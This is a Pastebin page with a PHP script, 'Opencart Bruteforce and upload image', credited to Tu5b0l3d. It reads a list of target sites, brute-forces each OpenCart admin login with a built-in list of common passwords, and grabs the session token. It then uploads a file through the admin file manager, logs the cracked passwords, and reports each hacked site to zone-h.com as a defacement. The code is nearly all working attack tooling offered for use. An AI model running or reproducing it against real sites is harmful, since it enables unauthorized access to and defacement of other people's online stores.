Advertisement
Tu5b0l3d

Opencart Bruteforce and upload image

Jun 7th, 2016
1,938
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 3.88 KB | None | 0 0
  1. <?php
  2. // Coded by Tu5b0l3d
  3. // indoxploit.or.id
  4. // thx to: magelang6etar, spyhackerz.com
  5. // opencart bf + upload image.
  6.  
  7. error_reporting(0);
  8. if(!is_file($argv[1])){
  9.     echo "\033[01;32m\ntarget.htm\n\033[01;35mwww.site1.com<br>www.site2.com\n\n\033[01;32mUsage: \033[01;35m$argv[0] target.htm\n";
  10. }
  11. else{
  12.  
  13. $nama = $argv[1];
  14. $file = "k.png"; //file
  15. $kate = "image/png"; //mimetype, change if you not png
  16. $nick = "gantenggggg"; // here put ur name on zone-h
  17.  
  18. $buka=fopen("$nama","r");
  19. $size=filesize("$nama");
  20. $baca=fread($buka,$size);
  21. $sites = explode("<br>", $baca);
  22. cover();
  23. foreach($sites as $sitesn){
  24. $passwords = "admin
  25. demo
  26. admin123
  27. 123456
  28. 123456789
  29. 123
  30. 1234
  31. 12345
  32. 1234567
  33. 12345678
  34. 123456789
  35. admin1234
  36. admin123456
  37. pass123
  38. root
  39. 321321
  40. 123123
  41. 112233
  42. 102030
  43. password
  44. pass
  45. qwerty
  46. abc123
  47. 654321
  48. pass1234";
  49. $site = "http://$sitesn";
  50. $urlqs = parse_url($site, PHP_URL_HOST);
  51. $urlq = "http://$urlqs";
  52. $redirect = "$urlq/admin/";
  53. $redirect2 = "$urlq/admin";
  54. echo "$urlq";
  55. $password = explode("\n", $passwords);
  56. $cek_1 = file_get_contents("$redirect");
  57. if(preg_match("/common\/forgotten/", $cek_1)){
  58. foreach($password as $pw){
  59.  
  60.  
  61. $data = array("username" => "admin",
  62.         "password" => "$pw");
  63. $login_ah = yuk_login($redirect, $data);
  64.  
  65. if(preg_match("/logout/i", $login_ah)){
  66.     echo "\n=> pass: \033[01;32m$pw\033[0m\n";
  67.     save("<a href=\"$redirect\">$redirect</a> | $pw<br>");
  68.     $perek1 = "token=(.*?)\">Settings<\/a><\/li>";
  69.     $toket = nyari_link($login_ah, $perek1);
  70.     echo "=> toket: \033[01;35m$toket\033[0m\n";
  71.     $site_upload = "$redirect2/index.php?route=common/filemanager/upload&token=$toket";
  72.     echo "=> \033[01;32mUploading...\033[0m\n";
  73.     $cfile = curl_file_create("$file","$kate","$file");
  74.     $data2 = array('image' => "$cfile", "directory" => "");
  75.     $upload = yuk_login($site_upload, $data2);
  76.     if(preg_match("/Your file has been uploaded/i", $upload)){
  77.         echo "=> \033[01;32mOk\033[0m\n=> $urlq/image/data/$file\n";
  78.         echo "-> zone-h: ";
  79.         echo jon("$urlq/image/data/$file",$nick);
  80.         save("<a href='$urlq/image/data/$file'>$urlq/image/data/$file</a><br>");
  81.        
  82.     }
  83.     else{
  84.         echo "\033[01;31m => No\033[0m\n\n";
  85.     }
  86.     break;
  87. }
  88. else{
  89.     echo "\n\033[0;34m$pw <= \033[01;31mNo\033[0m";
  90. }
  91. }
  92. } else{
  93.     echo "\033[01;31m => Not Vuln\033[0m\n\n";
  94. }
  95. }
  96. }
  97.  
  98. function yuk_login($lingnya, $data){
  99.  
  100.     $ch2 = curl_init ("$lingnya");
  101.                     curl_setopt ($ch2, CURLOPT_RETURNTRANSFER, 1);
  102.                     curl_setopt ($ch2, CURLOPT_FOLLOWLOCATION, 1);
  103.                     curl_setopt ($ch2, CURLOPT_SSL_VERIFYPEER, 0);
  104.                     curl_setopt ($ch2, CURLOPT_SSL_VERIFYHOST, 0);
  105.                     curl_setopt ($ch2, CURLOPT_POST, 1);
  106.                     curl_setopt ($ch2, CURLOPT_POSTFIELDS, $data);
  107.                     curl_setopt($ch2, CURLOPT_COOKIEJAR,'coker_log');
  108.                 curl_setopt($ch2, CURLOPT_COOKIEFILE,'coker_log');
  109.                     $data2 = curl_exec ($ch2);
  110.                     return $data2;
  111. }
  112.  
  113. function cover(){
  114.     echo "\n\t\t### \033[0;36mCoded By Tu5b0l3d\033[0m ###\n\t\t\033[0;33mwww.indoxploit.blogspot.com\033[0m\n\n";
  115. }
  116.  
  117. function save($data){
  118.         $fp = @fopen("result_opencart.htm", "a") or die("cant open file");
  119.         fwrite($fp, $data);
  120.         fclose($fp);
  121. }
  122.  
  123.  function curl_file_create($filename, $mimetype = '', $postname = '') {
  124.         return "@$filename;filename="
  125.             . ($postname ?: basename($filename))
  126.             . ($mimetype ? ";type=$mimetype" : '');
  127.    }
  128.  
  129.  
  130. function nyari_link($param, $perek){
  131.     preg_match("/$perek/", $param, $ini_dia);
  132.     return $ini_dia[1];
  133. }
  134.  
  135. function jon($site, $nick){
  136. $ch3 = curl_init ("http://www.zone-h.com/notify/single");
  137.                         curl_setopt ($ch3, CURLOPT_RETURNTRANSFER, 1);
  138.                         curl_setopt ($ch3, CURLOPT_POST, 1);
  139.                         curl_setopt ($ch3, CURLOPT_POSTFIELDS, "defacer=$nick&domain1=$site&hackmode=1&reason=1&submit=Send");  
  140.                        
  141.         if (preg_match ("/color=\"red\">OK<\/font><\/li>/i", curl_exec ($ch3))){
  142.                 echo  " Ok\n\n";
  143.         }else{
  144.                 echo " No\n\n"; }
  145. }
  146. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement